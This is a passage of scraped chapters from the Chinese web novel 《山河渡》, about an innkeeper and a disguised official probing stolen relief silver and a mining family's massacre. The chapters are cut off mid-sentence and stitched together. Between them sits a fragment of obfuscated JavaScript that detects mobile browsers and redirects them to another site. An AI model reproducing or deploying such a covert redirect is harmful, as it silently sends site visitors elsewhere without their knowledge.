梁玺两腮微红,酒意正盛,眉眼平白生出丝风流之态来,二人似乎相谈甚欢,仍约日后再聚。商白紧扶着他。 梁玺临上马车之际,还不忘打赏折翠居上下一番,又问泰极商行的海味仍在路上,雪娘子可有兴趣继续购买云云。 胤姜瞧他话都说不利索的样子,想来是醉得不轻,随意敷衍几句了事。 梁玺甫一上马车,便点中胸前两处穴道,低头将方才喝的酒都吐了出来。 马车中常备一唾壶,梁玺吐完后,从靠窗边的小抽屉处拿了一颗白色药丸,咽下去之后便闭目养神。 此时他面中红晕褪去,只略微有些憔悴。 他着实有些难受。 随着二人的马车驶离折翠居,折翠居客人散尽,逐渐恢复冷清,只余洒扫洗漱之声。 当夜没开门,胤姜将众人聚在一起 ——她从庆安寨带下来四人,会酿酒的兄妹田瑛、田叶,善烹饪的大厨徐达,善水且轻功了得的李山川。 胤姜开诚布公道, “之前我们了解的消息是刘玄多与知府亲近,今日他言谈之间却似有怨怼之意,更提起梁玺买的金玉园,而淮安城里关于金玉园及其主人的传闻相当多—— 那家主人姓邓,家中常营矿业,于淮安城内有几个大矿,是曾经的兖州首富。 关于那场矿洞坍塌事故,虽然外界有许多猜测,然而所有经历者无一幸存,所以根本不知道究竟为什么会出事。 而令这件事走向变得更诡异的,就是那邓员外携家眷出游时,被悲伤的工人亲属杀死,当时参与动手的总共有三十余人,他们连邓家最小的三岁孩童都没放过。 邓家二十来人,无一生还。 不止于此,他们还将邓家人的尸首给挪到了出事的邓家矿洞前,各个皆做跪拜之姿。 而他们那三十余人,齐齐主动向官府投案自首,最后判了斩监候,于两年前行刑完毕。” 李山川疑惑,“听上去没什么问题,因为该死的都死了,死无对证,难道谁还活着吗?” 胤姜挑眉,“除那日被带去别院的仆人外,金玉园中的仆人都无事。 那邓员外本是上门赘婿,妻族枝叶庞大,他自己只是一个孤儿。 邓家上一辈家主只得一女,才会招赘,但是旁支还是很多的,邓员外一家惨死,偌大的家产就落到了旁系身上。 当时也有人怀疑此事乃旁支所为,但是那三十余名凶手一口咬定自己是为复仇,与旁人无关。 彼时邓家旁系斗得你死我活,那段时间应该也是邓家死人最多的时候。 之后现任邓家家主胜出,为答谢官府惩处那群人犯,特别捐出了金玉园——这是我今下午打听出来的消息。 你们觉得,这消息有几分真,几分假?” 胤姜望向四人,田瑛犹犹豫豫,“捐出金玉园?价值万金的宅子,说捐就捐,这太匪夷所思了吧。” 田瑛约莫十六七岁,与田叶有几分相似,面貌斯文,皮肤白皙。 徐达心想,少年心性,到底不知人情,当即摇头,“你要知道,现任邓家家主能上位,靠的可不是他比别人善良。 其中,所用的那些家族争斗手段,多半不堪,事情一多,如此的话,难免需要打点官府,所以他才以这种名义送银。” 李山川点头,“确实,或许不止如此,谁知道上一任家主的死有没有蹊跷?” 胤姜眼神询问田叶,田叶十二三岁,性格活泼,此时眨着那双灵动清澈的杏眼,半含天真,“会不会是他不喜欢那座宅子,所以不想在里面住呢? 毕竟之前住在那的是自己的亲人,还是死得这么惨的亲人,要是呆在里面,会不会触景伤情呀?” 说完田叶蹙起眉,神色哀愁, “我和哥哥多年没回淮安,前段时间,路过家中旧宅。 虽然里面已经住有其他人,可当我站在门口,关于小时候的记忆就止也止不住的钻出来,连那些我以为已经模糊的记忆,都变得更清晰了。” 胤姜静半晌,才说道,“正是因为有诸多可能,才有了他人做文章的机会。当你摸不清对方底细之时,就只能主动出击试探对方。 恶意会吸引恶意,你我等人皆出身草莽,并不信任且可以说,十分讨厌官府中人,所以当刘玄似有怨言之时,我心中第一个念头就是此人或可利用。 可我下午出去打听一遭,怪异之感更甚。世人一听便觉得蹊跷的事,对当事人来说,究竟背后有何种理由存在? 抛开这不谈,若你希望与官府合作,对此事应该是什么态度?” 胤姜自问自答,“若是我来此地经商,听闻之前有商贾为感谢官府而赠万金之宅,偏生我恰恰最不缺的就是钱,此时的我,应该怎么做? ——毫无疑问,我也该备一份大礼才是!至于那其中的纠葛仇怨,和我要办的事情根本没有任何关系,我没必要去了解那么多! 合作,讲究的是诚意,必要时装聋作哑,也不稀奇。” 一直以来,她都是以敌对的心理去揣测刘玄和贺知府等官府中人,若是他二人露出嫌隙,她肯定要深挖到底,然后以此做文章使他们内部分裂。 却忘了,若是以交好的心理,对方已然漏口风说贺知府将要募捐赈灾,而后提起金玉园不吉利不宜住人,其实已经在变相告诉对方,想要他们的接纳, 7. 他之心 《山河渡》全本免费阅读 比起此事,胤姜更关心梁玺会怎么做。 春日阳光正好,梁玺坐在书桌前,正提笔描摹眼前风景。 前院有个小池塘,荷叶青青,两岸绿柳如茵。 他请来打扫的仆从约莫有二三十个,如今在院中扯杂草的有五六人,皆待斗笠穿长衫。 其中一女子冰肌玉骨,生得甚是貌美,她轻轻擦拭脸上的汗珠,埋头剪除杂草,顺便还修剪花枝,将岸畔花枝修理得干净利落。 女子似不经意间抬头,恰好撞进梁玺在勘绘画像的眼眸,脸微红,躲闪开来。 商白恰好来到梁玺身旁,见画像已成,阳光刺眼,拉下了珠帘。 梁玺放笔,画的赫然是一副春日劳作图,男男女女几个仆役打扮的人正于小院中劳作。 商白禀报,“主子,派人打听回来的消息这金玉园倒是没什么不妥,只是赠宅之事略有古怪。 如今邓家的那位当家人,于经商一事并没有显出很强的能耐,勉强瘦死的骆驼比马大,靠着那几座矿山度日。” 梁玺不疾不徐,将画像装裱一番,“那刘玄,可的确是贺含章扶植起来的?” 贺含章,贺知府的姓名。 商白点头,“刘玄背后是白家,这几年贺白两家来往甚密,引起了其他三家的不满。 属下查刘玄身世之时,还发现一点值得注意的,那刘玄与邓波乃是同乡。 邓波家境贫困,父母双亡,不得不早早出来谋生打工,他曾经在酒楼做过伙计,可是巧合的是,刘玄,恰恰是那家酒楼的少东家。” “在世人眼中他二人亲近吗?”梁玺将画挂于窗边,似是满意。 “属下未曾查到他们二人后面有交集。” 梁玺挑眉,“白氏下嫁刘玄,才子佳人,也曾传得佳话,邓家素来与四大家族关系一般,邓波又是赘婿,二人避嫌倒也说得过去。 何况,以他二人曾经之身份,再相见地位又宛如天堑,料想也见面尴尬。” 兖州有四大豪族,李南白石。 此四族扎根兖州久已,子弟宗祠丰厚,李家中青一代中,更是出了一位三品大员,凭着历来优势,稳居兖州四豪之首。 贺含章任兖州知府零零散散算来有八年,与这四族打交道日久,为不让渡权力给四族,明争暗斗过好一阵子。 后来邓波能用,才堪堪打平,再后来贺含章步步紧逼,四大豪族已然有衰微之势,更没想到邓波死后,白家投了知府,更扶起刘玄。 “只是,那刘富,之前是邓波的管家,邓波死后,又成了刘玄的管家,昨夜身故,也不知是惹了谁的眼。”梁玺磨着墨,砚台中墨痕成圈,黑色浓郁。 商白不解,“要去查吗?” 梁玺摇头,“刘玄之意不在此。 何况他只是个绣花枕头,若要他吟风弄月,他做得,可要他经商持家,却是一窍不通,刘家真正主事之人另有其人。” 梁玺昨日与刘玄饮酒畅谈,刘玄所谈皆是享乐之事,或品花娘秀美,或谈酒家时鲜,或赞名家字画,或赏金珠玉宝。 他应付这种文人雅士自然不在话下,其间几度想将话题插到生意上。 刘玄许是酒意上了头,直言金银俗物不配染他耳,自有旁人操心。 梁玺彼时讶异,刘玄在外场面撑得不错,并不曾有传闻非他掌家,世人还赞他有儒商风骨,可既然当家人不是他,那会是谁? 只转念一想,梁玺便明白。 刘玄所娶妻室为白家女,贺含章、刘玄、和白家唯一的关窍便是那位白家大娘子。 回来后他派人详查白氏,发现她未嫁时曾为白家老太爷亲自抚养,手中更不乏店面铺子。 她下嫁给刘玄后,刘家本来只有的一个酒楼也做大,后面还涉猎了许多以往不曾涉足的生意,可以说,刘家的起势,离不开白氏。 只是,她已为人妇,如今更甘居幕后,他想要找她,怕是诸多不方便。 刘玄说与他的话,究竟是刘玄自己想说的,还是白氏想告诉他的?目的又是什么? 梁玺想到一人,或许可以助他。 梁玺研好墨,在商白递来的宣纸上写下三字——白朦水,“交给折翠居的雪娘子,说我有所求,回报颇丰。” 商白接下,略带犹疑,“主子,她和那群伙计虽然看起来没什么问题,可是到底素不相识,能轻信吗?” 梁玺闻言嘴角勾起,“她是聪明人,最懂审时度势,明白什么能做什么不能做。 与她打交道,利益先行,她之前尝过甜头,我也有这个能力帮她在兖州站稳脚跟,不过一个小忙,她是不会介意的。” 梁玺初见胤姜之时,并没觉得她和寻常女子有何不同,大梁女子经商不算罕见,何况死了丈夫独木难支。 之前,他本是顺口对她提了一句宴饮之事,并没放在心上,她不过来淮安半月,便想从虎口里夺食,敲下这桩生意,真是异想天开。 他当时确实不看好她,他只是在淮安城叫得上名号的那三家中徘徊,想给他们一个考验,好让他确定谁来做他的生意伙伴。 毕竟,他商行的货物往来,生意场上的日常请宴,都需要一个稳定可靠的酒楼,为他提供方便。 没想到,最后是她拔了这头筹。 他这才仔细打量起她来。 那夜缥缈阁,她出言相救,却有些欠缺考虑。 周滔是兖州驻城将领——靖安将军周思捷的养子,天生神力,曾在战场上仅凭一对大锤杀死百余人。 周滔与斐笙花之事他亦有所闻,周滔花重金为其赎身,不仅金屋藏娇,还与之互拜天地娶其为妻。 不想风声走漏,周思捷大怒,拒二人于门外,更放话,周滔一日不与斐笙花分开,一日不得做他周家人、进他周家门。 最终二人还是鸡飞蛋打,斐笙花虽已赎身,却又再回缥缈阁,挑选客人全凭个人喜欢。 周滔这样闹事不止一次,这样的闹剧缥缈阁众人看过也不止一次。 梁玺想,折翠居的雪娘子,怕是不知情况。自斐笙花重回缥缈阁,那些被她接待过的客人,后面都无一例外遭到周滔的打击。 周滔本是兖州驻军司旗校尉,日常会带兵巡街,只要他有心,便会带上一群兵痞去闹事,久而久之,斐笙花虽有个花魁的名头,却也无人敢多亲近。 不过,雪娘是女子,周滔应当不至于为难。 梁玺那夜在缥缈阁,却是斐笙花主动接近,而他顺势而为应下此事。 周滔找 8. 头七夜,赤子魂 《山河渡》全本免费阅读 夜未至,胤姜收到飞鸽传书——正是她半月多前发现那破庙刀痕有异样之后,传消息回庆安寨中希望他们打听情况。 信中说,黎清元所佩之刀名唤赤月,由寒铁打造,于水火中千锤百炼,一批中所炼出的刀皆废了,唯它坚韧独绝。 胤姜寄回去的那截残缺的刀锋,庆安寨传话说,如果没差错的话,应该就是赤月。 胤姜陷入沉思,那破庙中的痕迹难道全是黎清元一人形成?没有劫犯吗? 黎清元,是中药了?所以才会在破庙中狂性大发? 仅仅是在破庙发狂吗?以他的武功,若是破门而出,外面那些士兵,岂有还手之力? 难道,那夜的惨剧,是黎清元造成的?!有人借刀杀人?!!! 可就算真是他,也不可能杀干净一千余人,一个活口都没留。 更何况,究竟是什么药?能够使人狂性大发,神智混乱? 如果真下药,下药对象肯定不止黎清元一人。 劫犯究竟是怎么做到的? 若是内鬼,下完药自己也得死,这样的行事作风更像死士。 一点不拖泥带水,死,也干脆利落。 胤姜不由得想起四年前的邓家惨案,当时投案的凶手们,也是这般干脆利落。 夜幕降临,洛朽今却托人带话,已经接受另一宴请,改日再约。 来的仍是商白,递给胤姜一封信,不发一言离开。 胤姜展开,信中写的乃是白朦水的生平和喜恶,洛朽今希望她去接近白朦水,借此了解刘家这位实际当家人的想法,而他也会报以厚禄。 胤姜思索,刘玄竟非实际当家人? 洛朽今消息倒是灵通,如今是打算找到白朦水,问个清楚明白吗? 若她没记错,今天淮安城里已经开始宣扬,贺知府将于五日后募捐的事情了。 到时候他会怎么做,或许就取决于白朦水所求为何。 胤姜不经意间抬眸看向窗外,却见小柳河上星火点点,白色孔明灯被点燃,一个个放飞于天空。 此时月明星稀,河边两岸挤满了放河灯的百姓,天上孔明灯灯火惶惶,漆黑深邃的天空不再孤单。 胤姜注意到,不止孔明灯是漆的白纸,连小柳河上的河灯,都不是常见的莲花状,亦是十分简单的白色纸皮,像是祭奠用的。 折翠居西侧临河,胤姜乍见此景,不禁愣住。 田叶不知何时出现在胤姜身侧,看着窗外场景,略带哀伤, “今天是赈灾银罹难官兵的头七,人们自发来此放河灯、孔明灯,希望他们找到回家的路,客死他乡已然够惨了,若还要做孤魂野鬼,未免太可怜了些。” 胤姜心中喟叹,已经头七了吗? 折翠居还没关门,来祭拜的百姓有肚饿的,便在折翠居点菜充饥。 夜深,百姓渐渐散去,小柳河两岸开始变得有些冷清。 忽闻折翠居外敲门声,胤姜开门一看,原来是个化缘的和尚,生得慈眉善目,身披浅褐色袈裟。 和尚看向胤姜便道一句,“阿弥陀佛,施主可有善粥?” 胤姜将剩下的宵夜施给他。 和尚道句感谢,正欲离开之际,后面追来位青年男子。 男子瞧见和尚,不禁骂道,“你这贼秃,偷了小生的东西,还敢来化缘?” 胤姜眼见着二人争执起来,彼时惹得周围人纷纷避开此处走,只好将二人拉进酒楼,询问发生了何事。 青年书生打扮,圆脸白面,杏眸纯澈,十七八岁的年纪,看上去像个书呆子。 青年名叫闵一水,子承父业在府衙做个书吏。 闵一水提及,今夜本该他当值看守书库,与他人换了班,就为来此放河灯祭拜。 他烧完黄纸,因出来匆匆未吃晚膳,便随意找个小摊贩处买了碗粥。 当时小摊上只有三人——眼前这个和尚,小摊老板,和闵一水,和尚刚好也在化缘。 哪里想到,闵一水喝完粥要付钱之际,发现随身携带的钱袋子不见了。 摊主见他在府衙当差,才好歹没有为难他,放他回去取钱。 闵一水走在半路,又瞧见这个和尚,心想可被他逮住了。 他关切的问,“掌柜的,你可要检查一下你店里有没有少东西呀?尤其是趁你去施粥的空档。”闵一水拉住和尚不放。 和尚法号净空,一副哑巴吃黄连的神色,只闭眸默念阿弥陀佛,善哉善哉。 胤姜不免一笑,柜台存放银子的钱每日打烊前都会被收走,今天虽延长营业,却也早收拾妥当。 闵一水失望,开始搜净空和尚的身,净空和尚眼不见为净,继续闭着眼念经。 闵一水搜了一圈,没发现,挠挠头,不应该呀,钱袋子呢?难道抓错人了? 胤姜见此,问道,“刚才你吃饭的时候确实只有你们三人吗?你可有与谁挨得近?你钱袋子挂在何处?” 闵一水似回忆起什么,“是小摊老板?! 我吃饭之时,他收拾其他桌吃剩的碗碟,与我擦肩而过,刚好是我挂钱袋子的这边。 原来是他贼喊捉贼?!” 胤姜轻笑,的确,通常是贼的那个人,为减轻自己的嫌疑会选择先发制人。 面摊老板也是如此,谁也不会想到要收钱的人本身就是偷钱的人。 但在利益足够大的情况下,小摊老板能收双份钱呀,他自然会乐意犯险。 胤姜想到,此次赈灾银失踪,朝廷还会派下新的赈灾银吗? 虽然听闻朝廷财政紧张,但是也不可能放着受灾百姓不管。 如今赈灾银失踪一个多月,灾民吃的都是好心人援助的粮食,官府还为此修建功德碑。 往坏处想,捐赠银又是一笔额外收入。 好心人捐助的银子,当真全部都用之于民了吗? 还不说,朝廷肯定还会再次下发救济。 若真是监守自盗,还真是多方面创收。 胤姜望向折翠居外面,路边还零散的坐着乞讨的流民。 从去年十月水患,到如今二月中—— 四个月时间倥偬而逝,有手有脚的年轻灾民,已在城中找到活计养活自己,再不济的,也卖身到大户人家为奴为婢。 也只有那些老弱妇孺,分外难过,勉强靠在路边,只等好心人的一点救济。 城里多了或少了一具尸体,第二天巡街的衙役们也会将其拖走,弃尸乱葬岗。 闵一水正打算去揪小摊的老板,胤姜劝住他,“捉贼拿脏,你是官差他都敢如此行事,何况去他店里吃饭的普通人? 他这样做肯定不止一次了,你 9. 募捐仪式 《山河渡》全本免费阅读 按照梁玺的消息,白朦水素来喜欢在倾颜阁买胭脂,今日,果不其然,她来了。 胤姜见时机刚好,刻意不慎撞上白朦水。 白朦水头戴帷幕遮面,浅色云锦上织海棠花金纹,衣着低调华贵,身量苗条,与刘玄穿衣风格很是相似。 白朦水正在看一盒胭脂,胤姜倏然一撞,水红色的胭脂便污了白朦水的衣衫。 胤姜连连道歉,白朦水身后的婆子将胤姜拉开,白朦水声音冷淡,“无事。” 主仆二人正欲离开,胤姜十分热情,硬是拉着白朦水不放,张口闭口要赔礼道歉,说自己是折翠居的老板,为表示歉意,若他们来此吃饭,那一顿免费。 白朦水静几息,帷幕下视线似乎看向胤姜,忽然开口,“好,择日不如撞日,今日吧。 白朦水买身衣服换下后,坐上了马车去折翠居。 胤姜招呼徐大厨开始做饭,白朦水端坐在雅间,身边的婆子守在白朦水之后。 胤姜入席,白朦水冷淡开口,“久闻雪娘子大名,不知雪娘子找我何事?” 白朦水帷幕未摘,胤姜依稀瞧见对面之人秀气轮廓,开门见山,“夫人聪慧,前些日子刘员外在此胡言乱语了些话,雪娘我有些在意,找夫人,是想问个究竟。” 帷幕后的视线似乎灼烈了些,白朦水问,“你以何身份来问我?” 胤姜笑,“夫人明知洛公子因着孤男寡女,不好出面,雪娘不过受人所托罢了。夫人若无心告知,以雪娘当时拙劣的戏码,又怎么能请得动夫人你来此地呢?” 恰窗外微风拂过,吹动帷幕微微折起,白朦水突然开口,“若他想活,便不要去募捐。”说完,白朦水当即离开,衣衫翩飞。 胤姜呆坐半晌,最终还是提笔如实写下这话,嘱咐李山川商白来时交给他,并说她病不见客。 白朦水所言,胤姜并不明白,若要讨好对方,借着这机会不就行了?哪怕,会稍微显得别有用心,若梁玺不去,顶多说他不识趣而已。 这与刘玄表达的意思完全不一样,刘玄是希望梁玺捐金,白朦水却是希望他不去。这夫妻二人,好古怪,莫不是面和心不和,同床异梦? 胤姜不想去淌这浑水,全由梁玺自己去烦恼算了。 哪里知道她躲之不及的麻烦,偏偏找上门。 “雪娘子,是不想见我吗?”梁玺摇摇晃晃,挡着门板,面微醺,酒气夹杂着脂粉气,不用想都知道从哪里来。 胤姜眉微蹙,压下心中不满,仍是面带笑容,“怎么会,洛公子稀客,雪娘欢迎都来不及,”说完看向李山川,“去给洛公子上壶清茶。” 商白扶着梁玺坐下,如今日落黄昏,折翠居中并无什么生意,大厅空荡荡的。 “我看见雪娘子写的信了,我有一事相求。” 说完,梁玺用那双泛着酒气的眸子看着胤姜,胤姜此时才发现,他的睫羽很长,眸色是乌墨色,望着人时能清晰的看见对方的人影,给人一种他眼中全是你的错觉。 含情眸,她以前怎么没发现,这家伙长着这样一双眼? 可惜她素来不通风花雪月,于情一事上缺根筋,这媚眼纯粹是抛给傻子看。 胤姜敛下眼睑,心中只觉,这家伙,莫不是又要拿她算计什么了? 随即扬起嘴角,双手合住梁玺的手,似无意间摩挲,“洛公子有话说就是,雪娘能帮的一定帮。”边摩挲边想,这家伙的手怎么这么滑?真是细皮嫩肉的公子哥! 梁玺陡然一惊,他本来有些酒意都瞬间清醒了,他居然被一个女人占便宜了! 梁玺慌不迭抽出手,李山川的茶水刚好送到,他顺势倒一杯茶,喝得急,被呛了几口。 梁玺本来想说什么,此时已经抛之脑后了,“我有事先走了。” 胤姜啧啧两声,跑那么快做什么?真怕她吞了他? 瞧那双手,便知是肩不能挑手不能提的公子哥,放山寨中,只怕是活不了几天。 脆弱哦。 其实胤姜心中有猜测,梁玺来找她,无非是想要她和他一起出席两日后的募捐仪式。 贺知府广下帖,淮安城中大大小小的商户都接到了募捐帖,胤姜也不例外。 她本也在摇摆,其实她去捐也捐不了多少银子,并不能给知府留下什么印象,真去了也是陪跑的,钱花了也没用。 结果,她在算总账的时候,突然发现,她手上只有五十两现银。 这点银子对赈灾来说是杯水车薪,对她来说却是救命钱,她才来淮安不到一个月,难道就要关门大吉灰溜溜离开吗? 而且,到了月末,她还得交房租!折翠居一个月的租金是五两银,好好,又少五两。 那边厢,梁玺阖眸倚在轿中,今夜实在太多意外。 今夜刘玄约他去缥缈阁饮酒作乐,他本不想去,结果刘玄说他好友亦要来。 梁玺想,好友,还能是知府吗?本着瞧一眼的想法,他还是去了。 没想到,还真是贺含章。 他未着官服,相貌文雅,身材清瘦,只穿得像一个平常的富家翁一般,但是梁玺有他画像,自然知道眼前人是贺含章,但他这个身份从未见过贺含章,于是他假做不知。 贺含章更装作刘玄的文人好友,只与他平常谈话,谈诗词书画、谈文章经纶。 席间请了斐笙花作陪,梁玺本欲推辞,那位贺老爷却疑惑问道,“洛贤弟,莫非你家中有夜叉,竟连缥缈阁花魁都不敢领回?可我瞧你不似成家的样子,难道是屋外藏娇?” 梁玺此时确定,这斐笙花真是贺含章的眼线,周思捷的防备没问题。 梁玺挑眉,何等仙姿娇娥他没见过,京中美人如云,他都不曾放在眼里,如今来到这西南,难不成在此折戟? 他本有所料,带了女侍卫来扮做妾室,好应付他人推来的眼线,只是没想到这么快就见到贺含章,她人却还被他派在州县查探情况,未归。 梁玺心中叹气,不知如何脑中闪过一人,面若桃花,眼眸流转间灵动狡黠。 “实不相瞒,我确为情所困,如今正煎熬着,也不知她心意。”梁玺似面带忧伤。 贺刘 10. 惜往矣 《山河渡》全本免费阅读 二月末,春花开遍。 虽然折翠居靠着时新菜色和东南海味吸引了一波客,但月盈利只有约莫二十两银子,大的酒楼如那三老头,一月怎么也有四十两,还是在年生差的情况。 勉强还能继续经营吧。 胤姜走在拜访房东的路上,心中如是想。 那位房东,并不是很好相与,或者说,她是个性情古怪的女人。 胤姜打听到,房东姓江,父亲和丈夫皆是修缮河道的工匠,俱死在了十五年前那场洪涝中。 倒不是淹死的,而是伏法被斩首。 天子一怒,伏尸百万。连罪,不可恕。 因为当年那场洪涝,并非完全的天灾。 胤姜甚是感伤,双目一闭,脑中闪过十五年前的记忆。 兖州府位于西南部,地势虽有起伏,却总体较低,上头建有防汛堤,分道渭河水。 然十五年前,防汛堤被大水冲垮,凡邻近河道两岸,皆为洪水淹没,无论是受灾范围还是受灾情况,都比之今日更为严重。 可以说,大半个西南,皆受其害。 朝廷派遣钦差明察暗访,发现除了汛期来、水势大涨外,防汛堤被偷工减料,也是重要原因。 而当时那位钦差,本想直言进谏,却被灭口,葬身于滚滚东去的渭水河中。 说来也巧,如今的贺知府,与那位钦差还是同窗好友。 那位钦差听说是他们那届的状元,娶了高官之女,如斯佳人,仕途得意。 可造化就是如此弄人,最后也是那高官岳丈,动手杀了他这个不听话的女婿。 事情被爆出来的时候,还是震惊了很多人。 原来贪腐的真凶就是那钦差的岳丈,本想派他去收拾残局,哪里想到那状元郎一心向日月,目下不染尘,真痴傻的以为他是去查案的。 后来,那高官家便被抄了。 听闻行刑之日,雍京城挤满了观斩的百姓,送刑路上无一不扔臭鸡蛋、烂叶烂菜。 而在天高皇帝远的兖州。 彼时的胤姜,还是一个四五岁的孩童。 她只是布衣百姓,一家三口而已。算不上贫寒,一日三餐得其温饱尔。 父母恩爱,喜她稚子可爱,对她素来宠爱有加。 这只是民间一个普通又幸福的小家庭,与大多数幸福的家庭差不多。 但是,那场大水,毁了许多这样的家庭。 她永远都记得,娘亲抱着她,浮在木板上随波漂流的场景,所见所即,全都是水,浑浊的水。 天地皆黄,水天一色。 父亲拼着最后一口气把她们母女送上这块木板,却瞬间淹没于滔滔江水中。 那时她还是一无所知的孩童。 娘亲告诉她,要紧紧抓住木板,不管是谁想要抢她的木板,都不能让他得逞。 胤姜忘不了,娘亲摸着她的脑袋,嘴角含笑的看着她,眼泛泪花。 娘亲很美,笑容也很美,可是眼中却透露着决绝,抱着她亲了又亲,对她说,娘亲的乖乖,要好好长大,好好吃饭! 然后,就消失在无穷无尽的水中。 胤姜后知后觉的大哭起来。 原来,木板被一路磕磕碰碰,已经破损,根本承载不起两个人了。 孩童的哭声并没有引起多少人的同情,恰恰相反,扑腾在水中的人,像恶鬼一样朝她扑过来。 胤姜记得娘亲对她说的话,用娘亲留下的小刀,一次次去划伤那些抓住她木板边沿、想要将木板夺为己用的人。 无视他们的绝望,无视自己的悲痛,只赤红着眼伤害那些在水中挣扎的人。 直到漂了很久,靠了岸,被岸边的人发现。 可她的手已染上鲜血,从此以后,再也没有童年。 在胤姜看来,为生存,费尽心机,是人之常情,并无可耻之处。 她从不是善无底线之人,恰恰相反,她的善很昂贵,她爱这些于凡尘苦苦挣扎的人。 可另一方面,当她因爱而施与善,得到的却是背叛和欺骗,她亦无惧反击。 世上人言,她从不在乎,唯内心理想,虽路漫漫曲折兮,仍百死而不悔。 她厌恶这世界,非要逼好人作恶,逼他们无路可退,逼他们卖妻典子,逼他们落草为寇! 却纵容恶行赤裸裸游荡于青天白日之下! 转眼间,胤姜来到房东江氏门前。 本来作为曾经水患的受害者,江氏的父亲和丈夫做了这样的事情,胤姜也应该唾弃她的,就像江氏的邻居们,都对其视而不见,冷眼旁观。 胤姜第一次见江氏,她在佛堂中念经,满头华发,神情枯槁,明明,她只是一个三十多岁的妇人,却十分沧桑,似四五十岁的模样。 “江夫人,听闻您在灵泉巷有处酒楼,我手中余钱不多,却瞧那酒楼很是顺眼,不知你打算开什么价?月租的话。” 眼前人停下念经,手中的佛珠却一直转不停,“十多年没人住过了,你租那房子做什么?怕不是觉得我多年不出门,好骗? 呵,我是寡妇不假,无父无母无夫无子六亲沦丧,也不假。 但你若觉得我好骗,想吃我的绝户,还是算了,我宁愿死之前将这些都烧了,也不留给你们这群豺狼。” 妇人声如枯木,低沉的话语似诅咒一般,听上去十分刺耳。 胤姜却从中好似抓到什么,她从来不认为,素不相识的两人,一见面就该是满怀善意的。 恰恰相反,许多人都是恶意的,言语中的试探、交锋,打量、猜测,都只是为了让他们确定,之后该如何对待你而已。 但江氏不是。江氏的恶意,清楚直接,却无攻击性。 她伤害的只有她自己,自损自伤,将自己与这世间剥离开。 她以为是保护自己,恰恰相反,把自己缩进壳里,只会显得自己更加羸弱而已。 强大不是这样的。 与其希冀周围的人都是善良无邪的白兔,不如自己硬气起来做那个旁人不敢得罪的人。 胤姜没生气,她扯起谎来,“雪娘我也只是个寡妇,与夫人并无不同,如今年生艰难,只想有个生意做,挣点银钱傍身而已。 雪娘打听到夫人素来深居简出,特意买了些最近淮安城中时兴的衣料、胭脂。 雪娘明白夫人的难处,只是活着的人,总该好好活着,替那些死去的人活着,才不浪费人生这一遭。 篮中亦有些时兴的水果,雪娘不知夫人喜欢什么,便都买了些。 此番是雪娘叨扰夫人了,夫人莫见怪,一点小心意,希望夫人笑纳。” 胤姜放下礼物,转身朝门外走去,刻意走得慢些。 就在她即刻抬脚跨出院门的时候,屋内传出声响,“五两银子一月,若贵便算了。” 胤姜嘴角勾勾,“雪娘在此谢过夫人了,若夫人得闲,有空可以来酒楼中坐坐。” 胤姜再次站在门前,江氏仍然背对着她,念佛诵经,未曾停。 胤姜轻轻放下五两租金,和一些水果时蔬,一言不发离开。 胤姜打听到一个消息,常与缥缈阁合作的那家酒窖预备提价,如今缥缈阁正打算找其他酒窖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12670820|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌恶她也罢,她该做出决断了。 什么时候呢? 明天吧,胤姜想,明天应该是个晴朗的好日子,说残忍的话,或许不至于让人太心冷。 胤姜盯着裙摆上的泥渍看,再脏污的泥水,总有天也会凝固,再深的爱,总有天也会变浅薄,再深的伤口,总有天也会愈合。 没有什么是睡一觉过不去的。 胤姜靠着树干,入睡前最后所见,却是那漆黑深邃夜空中明亮的一颗星辰。 翌日。 胤姜浅眠,梁玺略微动静便惊醒了她,二人稍加收拾便开始寻找出路。 胤姜发现,右侧山脉或许与崖底相连,若从右侧下去,有可能会绕到崖底去。 小溪两边,仍然是群山。 无法从溪流处下悬崖,意味着他们得再次进山,一路向下。 可是也不会比现在更差了,胤姜对梁玺说道。 二人不得已,只得喝溪水止渴,食树叶果腹,偶尔摘得果子,还怕中毒,只能点点的吃,不敢吃过多。 又是半日路程,二人感觉前面开阔的视野便得清晰起来,疑心是快要接近山底了,果不其然,没多久,二人便再次绕出了山。 因着昨夜淋雨,两人都有些咳嗽,所幸没彻底染上风寒,体力还能支撑。 胤姜不敢贸然求助,虽然一路走来都没遇上太多诡异,但是这深山中的楼宇还是让她十分警觉, 毕竟,一般山人,住的都该是土房才对,这里可是用石墙垒起来的。 蹊跷。 加之,到现在邓氏铜矿的人都还没追来,只有一种可能,那就是他们料定,她和梁玺会死在这里,所以根本不需要他们多费心。 而溪边又无动物栖息,一点动物的痕迹也没有,而只有人,才会将它们驱逐得彻底。 一定有什么他们忽视了的地方,那群被运进邓氏铜矿的人,到底去了哪里?山中嘶吼的猛兽,如今又在哪里? 胤姜和梁玺不敢疏忽大意,便藏身于村落之外,直到逮到一个从村里出来、挑着粪担的挑夫,挑夫身强力壮,高约九尺,瞧着约莫三十余岁的模样。 二人悄悄跟在挑夫身后,行了一段路,又眼见四处无人,二人决定对其下手。 胤姜出其不意,从身后攻击了挑夫,泛着冰冷寒光的长刀已经架在挑夫的脖颈处,挑夫怒目圆睁,却不见丝毫慌张,反而怒视胤姜,“你是什么人!” 胤姜手微一用力,挑夫的脖颈处血渍溢出,胤姜心想,这可真是找对地方了! “这话应该是我问你才对,你们是什么人?藏在这里做什么见不得人的事情?藏得可真深呐,让我好找! 我是什么人?当然是要你命的人!不过,若是你检举有功,我可以放你一马。” 挑夫翻个大白眼,不禁笑起来,“臭娘们,就你们两个人,还想做什么?检举?检举什么?会死的是你们两个,就算我死了,你们也一定活不了! 他们很快就会发现我不见了,若是他们找不到我,就会知道一定是哪里出了问题,说不得是进了什么人,真正需要藏起来的是你们两个!” 挑夫并不上当,甚至毫不领情。 胤姜与梁玺对视一眼,就如挑夫所言,他们并不知道这村子里究竟有多少人,又有多少人会武功,更不知道他们在这里做什么。 一无所知,危机四伏。 胤姜忽而笑了,“既然你什么都不说,对我们也没什么用处了,安心去吧。” 